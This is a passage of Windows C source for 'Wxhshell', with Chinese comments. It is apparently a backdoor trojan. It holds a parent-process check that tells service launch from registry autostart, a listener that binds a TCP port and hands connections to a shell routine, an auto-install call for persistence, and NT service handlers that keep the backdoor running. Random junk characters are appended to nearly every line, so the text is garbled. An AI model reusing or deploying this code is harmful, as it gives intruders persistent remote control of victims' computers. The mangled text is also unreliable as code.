} PROCESS_BASIC_INFORMATION; LXqPNVp#
s'|t2`K("
PROCNTQSIP NtQueryInformationProcess; pX+4B=*
RqX^$C8M
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u}b%-:-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
4Cv*zn
[ ou$*
HANDLE hProcess; (9R;-3vY:S
PROCESS_BASIC_INFORMATION pbi; :8A+2ra&
QF#w$%7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qTd[DaG#
if(NULL == hInst ) return 0; Ymk?@mV4
/\I6j;$z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6pt_cpbR
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }02`ve*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); / (&E
^Xk!wJ
if (!NtQueryInformationProcess) return 0; k$w~JO!s
py*22Ua^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OSgJj MQ
if(!hProcess) return 0; K,E/.Qe\C
;b$P*dSG}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ti\
${C3
ef5)z}B
CloseHandle(hProcess); CLR1CGnn7
z M9#1^X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B$4*U"tk
if(hProcess==NULL) return 0; N:1aDr;
-8TJ:#|N
HMODULE hMod; pP. _%5
char procName[255]; A6N6e\*
unsigned long cbNeeded; c/;;zc
F "@% 7xy
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CRb8WD6.
bx0.(Nv/X
CloseHandle(hProcess); WRh5v8Wz0
+)Z]<O
if(strstr(procName,"services")) return 1; // 以服务启动 jEc_!Q
J1?;'
return 0; // 注册表启动 RJrz ~,}
} {ZJO5*
vl"w,@V7
// 主模块 \iuR+I
int StartWxhshell(LPSTR lpCmdLine) o>el"0rn.h
{ Rn1oD3w
SOCKET wsl; L$ZjMJ
BOOL val=TRUE; CWj_K2=d
int port=0; ~6[?=mOi'
struct sockaddr_in door; h [TwaR
Ma YU%h0
if(wscfg.ws_autoins) Install(); 7+O)AU{
+>ju,;4WK
port=atoi(lpCmdLine); !NXjax\r
TBj 2(Z
if(port<=0) port=wscfg.ws_port; |LHJRP-Z
@=-(H<0
WSADATA data; Y-VDi.]W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Z-th,t
E
C?}iP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <I+k B^ Er
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mG~_*8}e<
door.sin_family = AF_INET; xQoZ[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5E!C?dv(z
door.sin_port = htons(port); w:&""'E
~?ab_CY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =|t-0'RsN
closesocket(wsl); b?H"/Mu.
return 1; S|85g1}t
} --yF%tRMP
Q@D7\<t
if(listen(wsl,2) == INVALID_SOCKET) { EX8JlA\-W
closesocket(wsl); "J VIkC
return 1; ~#_~DqbMZ5
} :4ryi&Y
Wxhshell(wsl); [FFr}\}bY
WSACleanup(); >O'\
jp}$l
|'^s3i&w
return 0; l|CM/(99-
_`$Q6!Z)l
} ^T=9j.e'ja
`Os=cMR
// 以NT服务方式启动 g4K+AK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r\NqY.U&
{ GQ2GcX(E(
DWORD status = 0; ?N#I2jxaD
DWORD specificError = 0xfffffff; p`tz*ewC
crmQn ^4\
serviceStatus.dwServiceType = SERVICE_WIN32; |9*Rnm_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,d"T2Hy
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fSo8O
serviceStatus.dwWin32ExitCode = 0; ]'.qRTz'\t
serviceStatus.dwServiceSpecificExitCode = 0; ]RVu[k8
serviceStatus.dwCheckPoint = 0; N$fP\h^AR
serviceStatus.dwWaitHint = 0; 5100fX}
x :SjdT
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AHf 9H?
if (hServiceStatusHandle==0) return; r!r08yf
]U?nYppV
status = GetLastError(); JrP`u4f_
if (status!=NO_ERROR) A95f!a
{ qe]D4K8`Q3
serviceStatus.dwCurrentState = SERVICE_STOPPED; B'Yx/c&n
serviceStatus.dwCheckPoint = 0; * #yF`_p
serviceStatus.dwWaitHint = 0; 7@ym:6Y+]
serviceStatus.dwWin32ExitCode = status; ~OD6K`s3
serviceStatus.dwServiceSpecificExitCode = specificError; c`E>7Hjr-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `?VK(<w0q
return; D*l(p5[
} oj 8r*
K1
f1T
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?1Nz
,Lc$
serviceStatus.dwCheckPoint = 0; ;qmnG3;Q
serviceStatus.dwWaitHint = 0; e$LC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Et6j6gmif
} ~d*Q{v~3
01(U)F\
// 处理NT服务事件,比如:启动、停止 '5}hm1,
VOID WINAPI NTServiceHandler(DWORD fdwControl) Laj/~Ru6
{ Fe8X@63
switch(fdwControl) VL#:oyWA
{ (Mc{nFqS
case SERVICE_CONTROL_STOP: ydWr&E5
serviceStatus.dwWin32ExitCode = 0; 8vx
ca]DcV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8)>>EN8 R
serviceStatus.dwCheckPoint = 0; *`a$6F7m4
serviceStatus.dwWaitHint = 0; r^k+D<k[7
{ y&\4Wr9m
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =
MByD&o`
} ch#)XomN
return; FH</[7f;@N
case SERVICE_CONTROL_PAUSE: 2j
f!o
serviceStatus.dwCurrentState = SERVICE_PAUSED; uc9h}QJ*
break; gs<~)&x
case SERVICE_CONTROL_CONTINUE: uh\G6s!4/
serviceStatus.dwCurrentState = SERVICE_RUNNING; (-<hx~
break; S @[]znH
case SERVICE_CONTROL_INTERROGATE: Xl=RaV^X"
break; =8_b&4.:&
}; >{AE@@PB^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $H*8H`
} Sr+hB>{
UV(`.
// 标准应用程序主函数 rDl/R^w"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o0WwlmB5
{ "Lvk?k
)hx
auI`'O`/
// 获取操作系统版本 p$"~vA .
OsIsNt=GetOsVer(); v:lkvMq|=
GetModuleFileName(NULL,ExeFile,MAX_PATH); H~*N:$C
+<